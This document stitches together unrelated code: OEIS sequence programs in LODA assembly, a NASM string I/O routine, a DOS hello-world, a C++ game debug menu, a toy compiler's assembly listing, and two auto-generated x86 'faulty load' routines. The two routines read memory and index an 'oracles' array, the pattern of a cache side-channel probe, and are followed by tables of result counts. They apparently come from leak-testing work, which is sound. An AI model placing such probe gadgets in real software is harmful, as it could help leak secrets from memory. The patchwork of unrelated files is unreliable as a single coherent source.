; A101272: a(n)=n, n <=6; a(n)=6, n > 6. ; 1,2,3,4,5,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6 mov $1,$0 trn $0,5 sub $1,$0 add $1,1
section .data endereco dq 0 tam dd 5 section .text global _start _start: ;Endereco de memoria de onde esta a string, tamanho da string ;LerString push tam push endereco call LerString ;TESTE ;MOV [letra], eax ;ADD BYTE [letra], 0x30 ;MOV ECX,letra ;MOV EBX,1 ;MOV EDX,1 ;MOV EAX,4 ;INT 80h ;EscreverString push tam push endereco call EscreverString ;TESTE ;MOV [letra], eax ;ADD BYTE [letra], 0x30 ;MOV ECX,letra ;MOV EBX,1 ;MOV EDX,1 ;MOV EAX,4 ;INT 80h Fim: ;return 0 mov EAX,1 mov EBX,0 int 80h LerString: ;cria frame de pilha, 1 byte para char lido enter 1,0 ;registradores utilizados push EBX push ECX push EDX ;ENDERECO mov EAX,[EBP+8] ;TAM mov EDX,[EBP+12] mov ECX,[EDX] LS_leitura: ;TAM atual push ECX ;ENDERECO push EAX ;le um CHAR do teclado mov EAX,3 mov EBX,0 ;EBP-1, variavel local mov ECX,EBP dec ECX mov EDX,1 int 80h ;armazenando CHAR no ENDERECO mov EBX,[ECX] pop EAX mov [EAX],EBX ;verifica se o CHAR eh enter cmp EBX,0x0A je LS_enter ;escreve proximo CHAR, se ainda nao chegou ao TAM inc EAX ;ve se ainda tem TAM pop ECX loop LS_leitura jmp LS_final LS_enter: ;registradores utilizados pop ECX pop EDX pop EBX ;retorno em EAX dec ECX mov EAX,[EBP+12] mov EAX,[EAX] sub EAX,ECX ;limpa frame de pilha mov ESP,EBP pop EBP ret LS_final: ;registradores utilizados pop EDX pop ECX pop EBX ;retorno em EAX mov EAX,[EBP+12] mov EAX,[EAX] add EAX,1 ;limpa frame de pilha leave ret EscreverString: ;cria frame de pilha enter 0,0 ;registradores utilizados push EBX push ECX push EDX ;ENDERECO mov EAX,[EBP+8] ;TAM mov EDX,[EBP+12] mov ECX,[EDX] ES_leitura: ;TAM atual push ECX push EAX ;le um CHAR da memoria mov EBX,1 pop EAX mov ECX,EAX push EAX mov EAX,4 mov EDX,1 int 80h ;imprime proximo CHAR, se ainda nao chegou ao TAM pop EAX inc EAX ;verifica se o CHAR eh enter cmp DWORD [ECX],0x0A je ES_enter ;ve se ainda tem TAM pop ECX loop ES_leitura jmp ES_final ES_enter: ;registradores utilizados pop ECX pop EDX pop EBX ;retorno em EAX dec ECX mov EAX,[EBP+12] mov EAX,[EAX] sub EAX,ECX ;limpa frame de pilha mov ESP,EBP pop EBP ret ES_final: ;registradores utilizados pop EDX pop ECX pop EBX ;retorno em EAX mov EAX,[EBP+12] mov EAX,[EAX] add EAX,1 ;limpa frame de pilha leave ret
;; With kernel interrupt 9, dos already know the end of string when it finds ;; this version is about as before but we put the '$' after the length ;; to utilize dos ah=9 kernel interrupt org 256 start: xor cx, cx mov si, hello .nextchar: cmp byte [si], 0 je @f cmp byte [si], '$' je @f inc cx inc si jmp .nextchar @@: mov dx, hello mov byte [si+1], '$' mov ah, 9 int 21h .exit: int 20h hello db 'Hello world!', 0h, 0h
; A111652: 3n appears n times. ; 3,6,6,9,9,9,12,12,12,12,15,15,15,15,15,18,18,18,18,18,18,21,21,21,21,21,21,21,24,24,24,24,24,24,24,24,27,27,27,27,27,27,27,27,27,30,30,30,30,30,30,30,30,30,30,33,33,33,33,33,33,33,33,33,33,33,36,36,36,36,36 mul $0,2 mov $1,1 lpb $0,1 add $1,2 sub $0,$1 lpe div $1,2 mul $1,3 add $1,3
; A142691: Primes congruent to 43 mod 57. ; Submitted by Jon Maiga ; 43,157,271,499,613,727,1069,1297,1753,1867,2437,2551,3121,3463,3691,3919,4261,4603,4831,5059,5743,5857,6199,6427,6883,6997,7681,8707,8821,9049,9277,9391,9619,9733,10303,10531,10987,11329,11443,12241,12583,12697,13267,13381,13723,14293,14407,15091,15319,15661,15889,16231,16573,17029,17257,17599,17713,17827,18169,18397,19081,19309,19423,19993,20107,20563,21019,21247,21589,21817,22159,22273,22501,23071,23869,24097,24439,24781,25237,25579,25693,26263,26833,26947,27061,27631,28087,28201,28429,28657 mov $2,$0 add $2,2 pow $2,2 lpb $2 add $1,21 sub $2,2 mov $3,$1 mul $3,2 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,36 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 mul $0,2 sub $0,71
; A104104: a(1) = 1, if A(k) = sequence of first 2^(k-1) terms and if B(k) is A(k) with 0's and 1's exchanged, then A(k+1) = A(k)A(k) if a(k) = 0, A(k+1) = A(k)B(k) if a(k) = 1. ; 1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1,0,1,0,1,0,1,1,0,1,0,0 mov $3,$0 mul $0,2 mov $2,$3 lpb $0,1 div $0,8 mod $2,2 add $2,$0 lpe mov $1,2 sub $1,$2 sub $1,1
; A239035: Product of 8 consecutive integers. ; 0,40320,362880,1814400,6652800,19958400,51891840,121080960,259459200,518918400,980179200,1764322560,3047466240,5079110400,8204716800,12893126400,19769460480,29654190720,43609104000,62990928000,89513424000,125318793600,173059286400,235989936000,318073392000,424097856000,559809169920,732058145280,948964262400,1220096908800,1556675366400,1971788797440,2480637519360,3100796899200,3852505238400,4758977059200,5846743244160,7146019520640,8691104822400,10520811100800,12678926198400,15214711438080,18183435621120,21646947168000,25674286176000,30342338208000,35736531667200,41951580652800,49092275232000,57274321104000,66625230672000,77285267579520,89408446807680,103163592470400,118735455484800,136325893334400,156155114183040,178462987637760,203510424499200,231580827878400,262981618099200,298045833845760,337133812055040,380634949094400,428969545804800,482590739030400,541986522295680,607681858331520,680240886192000,760269225744000,848416382352000,945378254620800,1051899748099200,1168777497888000,1296862703136000,1437064076448000,1590350911269120,1757756270350080,1940380298438400,2139393662380800,2356041121862400,2591645234048640,2847610195436160,3125425824259200,3426671686838400,3753021371299200,4106246912127360,4488223369069440,4900933563926400,5346472978828800,5827054819622400,6345015248033280,6902818786321920,7503063898176000,8148488749632000,8841977153856000,9586564703654400,10385445095625600,11241976649904000,12159689029488000 sub $1,$0 bin $1,8 mul $1,40320 mov $0,$1
; A110513: Expansion of (1 + x)/(1 + 2x + x^3). ; Submitted by Christian Krause ; 1,-1,2,-5,11,-24,53,-117,258,-569,1255,-2768,6105,-13465,29698,-65501,144467,-318632,702765,-1549997,3418626,-7540017,16630031,-36678688,80897393,-178424817,393528322,-867954037,1914332891,-4222194104,9312342245,-20539017381,45300228866,-99912799977,220364617335,-486029463536,1071971727049,-2364308071433,5214645606402,-11501262939853,25366833951139,-55948313508680,123397889957213,-272162613865565,600273541239810,-1323944972436833,2920052558739231,-6440378658718272,14204702289873377 mov $3,2 lpb $0 sub $0,1 add $1,$3 sub $3,$1 add $1,$3 dif $2,-1 sub $2,$1 add $3,$1 add $3,$2 add $3,$2 lpe mov $0,$3 div $0,2
#include "DebugMenu.h" #include "SceneManager.h" // Constructor Debug::Debug(SceneManager * sceneManager) : Scene() { this->sceneManager = sceneManager; } // Destructor Debug::~Debug() { Unload(); } bool Debug::Load() { texture = sceneManager->tex->Load("sprites/ui/ui_menupause.png"); // Debug debug.noClip = new GuiCheckBox(1, { 815, 0, 32, 60 }, "noClip", sceneManager->audio); debug.noClip->SetObserver(this); controllerMenu[0][0] = 1; debug.godMode = new GuiCheckBox(2, { 815, 60, 32, 60 }, "GodMode", sceneManager->audio); debug.godMode->SetObserver(this); controllerMenu[1][0] = 2; debug.dialogue = new GuiCheckBox(3, { 815, 120, 32, 60 }, "Dialogue", sceneManager->audio); debug.dialogue->SetObserver(this); controllerMenu[2][0] = 3; debug.colliders = new GuiCheckBox(4, { 815, 180, 32, 60 }, "Colliders", sceneManager->audio); debug.colliders->SetObserver(this); controllerMenu[3][0] = 4; debug.battle = new GuiButton(5, { 960, 0, 320, 60 }, "Start Battle", sceneManager->audio, false); debug.battle->SetObserver(this); controllerMenu[0][1] = 5; debug.item = new GuiButton(6, { 960, 60, 320, 60 }, "Obtain Item", sceneManager->audio, false); debug.item->SetObserver(this); controllerMenu[1][1] = 6; debug.scene = new GuiButton(7, { 960, 120, 120, 60 }, "Scenes", sceneManager->audio, false); debug.scene->SetObserver(this); controllerMenu[2][1] = 7; debug.particle = new GuiButton(8, { 960, 180, 180, 60 }, "Particles", sceneManager->audio, false); debug.particle->SetObserver(this); controllerMenu[3][1] = 8; // Scenes scene.exterior = new GuiButton(9, { 960, 0, 320, 60 }, "Exterior", sceneManager->audio, false); scene.exterior->SetObserver(this); controllerScene[0] = 9; scene.cantina = new GuiButton(10, { 960, 60, 320, 60 }, "Cantina", sceneManager->audio, false); scene.cantina->SetObserver(this); controllerScene[1] = 10; scene.wc = new GuiButton(11, { 960, 120, 320, 60 }, "WC", sceneManager->audio, false); scene.wc->SetObserver(this); controllerScene[2] = 11; scene.dungeonExt = new GuiButton(12, { 960, 180, 320, 60 }, "External Dungeon", sceneManager->audio, false); scene.dungeonExt->SetObserver(this); controllerScene[3] = 12; scene.dungeonF1 = new GuiButton(13, { 960, 240, 320, 60 }, "F1 Dungeon", sceneManager->audio, false); scene.dungeonF1->SetObserver(this); controllerScene[4] = 13; scene.dungeonF2 = new GuiButton(14, { 960, 300, 320, 60 }, "F2 Dungeon", sceneManager->audio, false); scene.dungeonF2->SetObserver(this); controllerScene[5] = 14; // Particles particle.smoke = new GuiButton(15, { 960, 0, 320, 60 }, "Smoke", sceneManager->audio, false); particle.smoke->SetObserver(this); controllerParticle[0] = 15; particle.heal = new GuiButton(16, { 960, 60, 320, 60 }, "Heal", sceneManager->audio, false); particle.heal->SetObserver(this); controllerParticle[1] = 16; particle.bless = new GuiButton(17, { 960, 120, 320, 60 }, "Bless", sceneManager->audio, false); particle.bless->SetObserver(this); controllerParticle[2] = 17; return false; } bool Debug::Update(float dt) { bool ret = false; GamePad& pad = sceneManager->input->pads[0]; if (debugscene == false && debugparticle == false) { if (sceneManager->input->GetKey(SDL_SCANCODE_DOWN) == KEY_DOWN || pad.GetPadKey(SDL_CONTROLLER_BUTTON_DPAD_DOWN) == KEY_DOWN) controllerMenu[f++][c]; if (sceneManager->input->GetKey(SDL_SCANCODE_UP) == KEY_DOWN || pad.GetPadKey(SDL_CONTROLLER_BUTTON_DPAD_UP) == KEY_DOWN) controllerMenu[f--][c]; if (sceneManager->input->GetKey(SDL_SCANCODE_RIGHT) == KEY_DOWN || pad.GetPadKey(SDL_CONTROLLER_BUTTON_DPAD_RIGHT) == KEY_DOWN) controllerMenu[f][c++]; if (sceneManager->input->GetKey(SDL_SCANCODE_LEFT) == KEY_DOWN || pad.GetPadKey(SDL_CONTROLLER_BUTTON_DPAD_LEFT) == KEY_DOWN) controllerMenu[f][c--]; if (c > 1) c = 0; if (c < 0) c = 1; switch (c) { case 0: if (f > 3) f = 0; if (f < 0) f = 3; break; case 1: if (f > 3) f = 0; if (f < 0) f = 3; break; default:break; } } else if (debugscene) { if (sceneManager->input->GetKey(SDL_SCANCODE_DOWN) == KEY_DOWN || pad.GetPadKey(SDL_CONTROLLER_BUTTON_DPAD_DOWN) == KEY_DOWN) controllerScene[f++]; if (sceneManager->input->GetKey(SDL_SCANCODE_UP) == KEY_DOWN || pad.GetPadKey(SDL_CONTROLLER_BUTTON_DPAD_UP) == KEY_DOWN) controllerScene[f--]; if (f > 5) f = 0; if (f < 0) f = 5; if (sceneManager->input->GetKey(SDL_SCANCODE_Z) == KEY_DOWN || sceneManager->input->GetKey(SDL_SCANCODE_ESCAPE) == KEY_DOWN || sceneManager->input->GetKey(SDL_SCANCODE_F10) == KEY_DOWN || sceneManager->input->GetKey(SDL_CONTROLLER_BUTTON_B) == KEY_DOWN) debugscene = false; } else if (debugparticle) { if (sceneManager->input->GetKey(SDL_SCANCODE_DOWN) == KEY_DOWN || pad.GetPadKey(SDL_CONTROLLER_BUTTON_DPAD_DOWN) == KEY_DOWN) controllerParticle[f++]; if (sceneManager->input->GetKey(SDL_SCANCODE_UP) == KEY_DOWN || pad.GetPadKey(SDL_CONTROLLER_BUTTON_DPAD_UP) == KEY_DOWN) controllerParticle[f--]; if (f > 2) f = 0; if (f < 0) f = 2; if (sceneManager->input->GetKey(SDL_SCANCODE_Z) == KEY_DOWN || sceneManager->input->GetKey(SDL_SCANCODE_ESCAPE) == KEY_DOWN || sceneManager->input->GetKey(SDL_SCANCODE_F10) == KEY_DOWN || sceneManager->input->GetKey(SDL_CONTROLLER_BUTTON_B) == KEY_DOWN) debugparticle = false; } if (debugscene == false && debugparticle == false) { debug.noClip->Update(sceneManager->input, &sceneManager->entityManager->CreateEntity(EntityType::HERO)->noClip, controllerMenu[f][c], dt); debug.godMode->Update(sceneManager->input, &sceneManager->beGod, controllerMenu[f][c], dt); debug.dialogue->Update(sceneManager->input, &sceneManager->dialogueSystem->inConversation, controllerMenu[f][c], dt); debug.colliders->Update(sceneManager->input, &sceneManager->drawColliders, controllerMenu[f][c], dt); debug.battle->Update(sceneManager->input, controllerMenu[f][c], dt); debug.item->Update(sceneManager->input, controllerMenu[f][c], dt); debug.scene->Update(sceneManager->input, controllerMenu[f][c], dt); debug.particle->Update(sceneManager->input, controllerMenu[f][c], dt); } else if (debugscene) { scene.exterior->Update(sceneManager->input, controllerScene[f], dt); scene.cantina->Update(sceneManager->input, controllerScene[f], dt); scene.wc->Update(sceneManager->input, controllerScene[f], dt); scene.dungeonExt->Update(sceneManager->input, controllerScene[f], dt); scene.dungeonF1->Update(sceneManager->input, controllerScene[f], dt); scene.dungeonF2->Update(sceneManager->input, controllerScene[f], dt); } else if (debugparticle) { particle.smoke->Update(sceneManager->input, controllerParticle[f], dt); particle.heal->Update(sceneManager->input, controllerParticle[f], dt); particle.bless->Update(sceneManager->input, controllerParticle[f], dt); } if (sceneManager->entityManager->CreateEntity(EntityType::HERO)->inBattle == false) debug.particle->disabled = true; else debug.particle->disabled = false; return ret; } bool Debug::Draw() { if (debugscene == false && debugparticle == false) { sceneManager->render->DrawRectangle({ -sceneManager->render->camera.x + 615, -sceneManager->render->camera.y - (240 / 2), 675, 360 }, 0, 0, 0, 175); sceneManager->render->DrawText(sceneManager->font, "noClip", 645, 22, 60 / 3, 0, { 255, 255, 255, 255 }); debug.noClip->Draw(sceneManager->render, texture); sceneManager->render->DrawText(sceneManager->font, "GodMode", 645, 82, 60 / 3, 0, { 255, 255, 255, 255 }); debug.godMode->Draw(sceneManager->render, texture); sceneManager->render->DrawText(sceneManager->font, "Dialogue", 645, 142, 60 / 3, 0, { 255, 255, 255, 255 }); debug.dialogue->Draw(sceneManager->render, texture); sceneManager->render->DrawText(sceneManager->font, "Colliders", 645, 202, 60 / 3, 0, { 255, 255, 255, 255 }); debug.colliders->Draw(sceneManager->render, texture); debug.battle->Draw(sceneManager->render, sceneManager->font); debug.item->Draw(sceneManager->render, sceneManager->font); debug.scene->Draw(sceneManager->render, sceneManager->font); debug.particle->Draw(sceneManager->render, sceneManager->font); } else if (debugscene) { sceneManager->render->DrawRectangle({ -sceneManager->render->camera.x + 615 + (670 / 2), -sceneManager->render->camera.y, 675, 360 }, 0, 0, 0, 175); scene.exterior->Draw(sceneManager->render, sceneManager->font); scene.cantina->Draw(sceneManager->render, sceneManager->font); scene.wc->Draw(sceneManager->render, sceneManager->font); scene.dungeonExt->Draw(sceneManager->render, sceneManager->font); scene.dungeonF1->Draw(sceneManager->render, sceneManager->font); scene.dungeonF2->Draw(sceneManager->render, sceneManager->font); } else if (debugparticle) { sceneManager->render->DrawRectangle({ -sceneManager->render->camera.x + 615 + (670 / 2), -sceneManager->render->camera.y - (370 / 2), 675, 360 }, 0, 0, 0, 175); particle.smoke->Draw(sceneManager->render, sceneManager->font); particle.heal->Draw(sceneManager->render, sceneManager->font); particle.bless->Draw(sceneManager->render, sceneManager->font); } return false; } bool Debug::Unload() { sceneManager->tex->UnLoad(texture); // Delete buttons and textures debug.noClip->UnLoad(); RELEASE(debug.noClip); debug.godMode->UnLoad(); RELEASE(debug.godMode); debug.dialogue->UnLoad(); RELEASE(debug.dialogue); debug.colliders->UnLoad(); RELEASE(debug.colliders); debug.battle->UnLoad(); RELEASE(debug.battle); debug.item->UnLoad(); RELEASE(debug.item); debug.scene->UnLoad(); RELEASE(debug.scene); debug.particle->UnLoad(); RELEASE(debug.particle); scene.exterior->UnLoad(); RELEASE(scene.exterior); scene.cantina->UnLoad(); RELEASE(scene.cantina); scene.wc->UnLoad(); RELEASE(scene.wc); scene.dungeonExt->UnLoad(); RELEASE(scene.dungeonExt); scene.dungeonF1->UnLoad(); RELEASE(scene.dungeonF1); scene.dungeonF2->UnLoad(); RELEASE(scene.dungeonF2); particle.smoke->UnLoad(); RELEASE(particle.smoke); particle.heal->UnLoad(); RELEASE(particle.heal); particle.bless->UnLoad(); RELEASE(particle.bless); return false; } //---------------------------------------------------------- // Manage GUI events for this screen //---------------------------------------------------------- bool Debug::OnGuiMouseClickEvent(GuiControl* control) { if (debugparticle == false && debugscene == false) { switch (control->id) { case 5: TransitionToScene(SceneType::BATTLE); break; case 6: sceneManager->entityManager->CreateEntity(EntityType::RANDITEM); break; case 7: debugscene = true; f = 0; c = 0; break; case 8: debugparticle = true; f = 0; c = 0; break; default: break; } } else if (debugscene) { switch (control->id) { case 9: TransitionToScene(SceneType::EXTERIOR); break; case 10: TransitionToScene(SceneType::CANTINA); break; case 11: TransitionToScene(SceneType::WC); break; case 12: TransitionToScene(SceneType::DUNGEON_EXT); break; case 13: TransitionToScene(SceneType::DUNGEON_F1); break; case 14: TransitionToScene(SceneType::DUNGEON_F2); break; } } else if (debugparticle) { switch (control->id) { case 15: // Smoke sceneManager->particleSystem->AddEmitter({ 375, 250 }, EmitterData::EmitterType::SMOKE, sceneManager->render); break; case 16: // Heal sceneManager->particleSystem->AddEmitter({ 365, 250 }, EmitterData::EmitterType::HEAL, sceneManager->render); break; case 17: // Bless sceneManager->particleSystem->AddEmitter({ 365, 250 }, EmitterData::EmitterType::BLESS, sceneManager->render); break; default: break; } } return true; }
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r14 push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x19361, %rsi lea addresses_normal_ht+0x14fe1, %rdi nop nop nop nop and %r14, %r14 mov $22, %rcx rep movsq nop xor %rdx, %rdx lea addresses_A_ht+0x19ef1, %rsi lea addresses_WC_ht+0x18b29, %rdi nop nop nop nop nop dec %r12 mov $63, %rcx rep movsq nop nop nop nop nop xor %r14, %r14 lea addresses_UC_ht+0x5b61, %r14 nop nop nop nop sub $34714, %r12 and $0xffffffffffffffc0, %r14 vmovntdqa (%r14), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $0, %xmm0, %rsi nop sub $25972, %rsi lea addresses_normal_ht+0x14d61, %rsi lea addresses_D_ht+0x17b59, %rdi nop nop nop nop nop xor $9191, %rdx mov $108, %rcx rep movsw cmp %rdx, %rdx lea addresses_WC_ht+0x1e361, %rdi nop nop nop nop dec %rdx movl $0x61626364, (%rdi) nop nop nop nop nop xor $39419, %rcx lea addresses_WC_ht+0xccc1, %rdx nop nop nop nop xor %r10, %r10 mov $0x6162636465666768, %rcx movq %rcx, (%rdx) nop nop and $58075, %r10 pop %rsi pop %rdx pop %rdi pop %rcx pop %r14 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r8 push %r9 push %rax push %rdx // Store lea addresses_D+0x1f27b, %rax nop nop nop nop xor $4831, %r11 mov $0x5152535455565758, %r13 movq %r13, %xmm4 movups %xmm4, (%rax) nop nop nop nop cmp %r12, %r12 // Store lea addresses_D+0x8d07, %rax nop nop nop nop nop sub %r8, %r8 mov $0x5152535455565758, %r13 movq %r13, %xmm4 vmovups %ymm4, (%rax) nop nop nop nop nop dec %r12 // Faulty Load lea addresses_WC+0x3361, %r9 nop nop nop add %r11, %r11 movntdqa (%r9), %xmm5 vpextrq $1, %xmm5, %rdx lea oracles, %r13 and $0xff, %rdx shlq $12, %rdx mov (%r13,%rdx,1), %rdx pop %rdx pop %rax pop %r9 pop %r8 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_WC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'src': {'congruent': 3, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'src': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'dst': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'00': 3700, '45': 7833, '47': 173, '44': 9888, '46': 235} 00 44 44 44 44 00 45 45 44 45 45 44 44 44 44 45 44 44 44 00 44 00 45 45 44 44 44 44 45 44 00 45 45 00 44 44 45 44 00 44 44 00 44 00 45 45 45 00 00 44 00 45 44 44 45 44 00 00 45 45 44 45 45 44 44 45 45 44 45 45 44 45 46 00 44 00 44 45 45 44 00 45 45 44 44 47 44 45 45 44 45 45 45 44 45 00 44 45 45 44 45 44 45 45 45 45 44 45 45 45 44 45 44 44 44 45 45 44 44 00 44 00 44 00 45 44 44 44 44 00 44 00 45 45 45 00 00 45 45 45 44 45 46 00 45 44 44 44 44 00 44 00 44 45 44 00 44 00 45 45 45 00 00 45 45 45 44 44 45 44 45 44 00 44 45 45 44 00 45 44 00 45 44 44 00 44 00 44 44 45 44 00 45 45 00 44 45 44 45 44 44 00 44 00 45 44 44 00 45 44 00 44 44 45 44 44 00 44 00 44 45 45 44 00 45 44 00 44 45 45 45 44 44 45 45 45 44 45 44 44 45 45 44 45 45 00 00 44 45 45 44 00 44 44 00 45 46 45 45 00 00 44 45 44 00 45 44 44 45 44 45 44 00 44 45 44 00 44 47 44 00 45 44 00 44 45 45 45 45 45 44 45 44 00 44 00 44 46 44 44 44 44 44 44 00 46 44 45 44 45 44 45 44 45 44 44 00 45 00 45 44 45 46 44 44 00 45 44 44 45 44 45 44 00 44 45 00 44 44 00 45 44 44 45 44 44 44 00 45 45 45 45 45 44 00 45 45 45 00 44 44 44 00 45 45 44 45 45 46 44 00 45 44 45 44 44 00 00 44 45 45 46 45 00 44 00 44 44 44 45 00 45 45 45 45 44 00 44 00 44 45 44 45 45 45 44 44 00 44 45 00 44 45 44 45 45 44 44 44 45 44 46 00 44 45 44 45 44 44 00 44 45 44 00 44 44 00 45 45 44 44 45 44 00 44 45 44 45 44 45 44 00 44 45 45 44 44 45 45 44 00 44 45 44 45 44 44 00 45 44 00 44 00 44 00 44 45 44 44 45 44 00 44 45 44 45 00 44 45 45 44 45 00 44 44 44 00 44 00 44 00 44 44 44 44 45 00 44 45 45 44 44 00 00 44 45 44 45 44 44 44 00 45 44 00 44 45 45 00 44 45 00 44 45 44 00 45 45 44 45 44 44 00 44 44 45 44 45 45 45 45 44 44 00 44 45 44 45 00 44 44 45 45 44 00 45 44 45 44 45 45 45 44 45 44 00 45 44 00 44 45 45 44 44 45 00 45 46 44 45 45 00 44 45 44 00 46 44 00 44 00 00 44 00 44 00 00 44 00 45 44 45 45 45 46 00 44 44 45 45 44 45 45 00 44 44 45 44 44 00 45 45 45 45 44 44 44 44 44 44 45 45 44 45 45 44 45 00 44 45 45 45 44 44 45 44 00 44 44 45 44 44 44 44 00 44 45 44 45 46 44 45 44 45 45 44 00 44 00 45 44 45 00 45 44 45 45 44 45 00 45 44 44 45 44 45 45 45 45 45 44 00 44 45 44 45 44 44 44 45 44 00 44 45 44 00 45 44 44 44 45 44 45 45 44 45 45 44 00 44 44 45 44 45 00 45 44 44 44 44 45 44 00 45 44 44 00 44 44 00 00 44 45 44 44 00 44 44 00 44 44 00 44 45 45 45 44 44 45 45 44 47 44 45 44 45 44 44 47 45 45 45 45 44 44 44 00 45 00 44 44 44 00 44 44 44 45 44 46 44 44 00 45 45 45 44 45 44 00 44 44 00 44 45 45 45 44 44 45 44 45 45 44 45 45 44 44 44 44 45 45 44 44 44 44 45 44 00 44 44 44 45 45 00 44 00 45 44 44 45 44 00 44 45 44 44 45 44 00 44 44 44 00 45 00 45 44 00 00 44 45 45 00 44 00 44 44 00 00 45 44 44 44 00 44 44 45 44 45 45 45 45 44 45 44 47 44 45 44 00 45 44 00 44 45 44 44 44 45 00 00 00 45 45 44 45 00 44 44 00 44 45 45 44 00 44 44 44 00 44 00 45 45 44 45 44 00 44 44 45 45 45 45 45 44 44 44 44 00 45 44 00 45 44 44 45 44 45 44 45 44 44 44 44 00 45 45 44 44 00 45 45 45 44 45 44 44 44 45 45 45 44 00 45 44 00 44 45 44 45 44 00 44 00 44 45 44 44 00 44 */
100: LD SP, #4000 108: LD R1, #10 116: ST y, R1 124: LD R2, #2 132: ST x, R2 140: SUB R3, R1, R2 148: BLTZ R3, #172 156: LD R3, #true 164: BR #180 172: LD R3, #false 180: ST w, R3 188: SUB R4, R1, R2 196: BNEZ R4, #220 204: LD R4, #true 212: BR #228 220: LD R4, #false 228: ST a, R4 236: SUB R5, R1, R2 244: BGZ R5, #268 252: LD R5, #true 260: BR #276 268: LD R5, #false 276: ST b, R5 284: SUB R6, R1, R2 292: BEQZ R6, #316 300: LD R6, #true 308: BR #324 316: LD R6, #false 324: ST c, R6 332: SUB R7, R1, R2 340: BLEZ R7, #364 348: LD R7, #true 356: BR #372 364: LD R7, #false 372: ST d, R7 380: SUB R8, R1, R2 388: BGEZ R8, #412 396: LD R8, #true 404: BR #420 412: LD R8, #false 420: ST e, R8
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %rax push %rbx push %rcx push %rdx lea addresses_WC_ht+0x3d9d, %r13 nop cmp $10369, %rdx mov (%r13), %bx nop inc %rax lea addresses_D_ht+0x12b8d, %r10 and %rcx, %rcx movl $0x61626364, (%r10) nop nop nop dec %r13 lea addresses_UC_ht+0x1e43d, %rdx nop nop nop nop nop inc %r11 movups (%rdx), %xmm5 vpextrq $0, %xmm5, %rbx nop xor %r10, %r10 pop %rdx pop %rcx pop %rbx pop %rax pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r9 push %rax push %rdi push %rdx // Faulty Load lea addresses_RW+0x738d, %rdx nop inc %r10 vmovntdqa (%rdx), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $0, %xmm7, %r14 lea oracles, %rdi and $0xff, %r14 shlq $12, %r14 mov (%rdi,%r14,1), %r14 pop %rdx pop %rdi pop %rax pop %r9 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_RW'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'00': 15} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; A167385: a(n)= sum_{i=7..n+6} A000931(i). ; 1,3,5,8,12,17,24,33,45,61,82,110,147,196,261,347,461,612,812,1077,1428,1893,2509,3325,4406,5838,7735,10248,13577,17987,23829,31568,41820,55401,73392,97225,128797,170621,226026,299422,396651,525452,696077,922107,1221533 mov $5,$0 add $5,2 mov $0,$5 lpb $0 sub $0,1 mov $1,$2 add $1,1 add $2,4 trn $4,3 add $2,$4 mov $3,$4 mov $4,$6 sub $4,$3 mov $6,$1 lpe mul $1,232 sub $1,1160 div $1,464 add $1,1
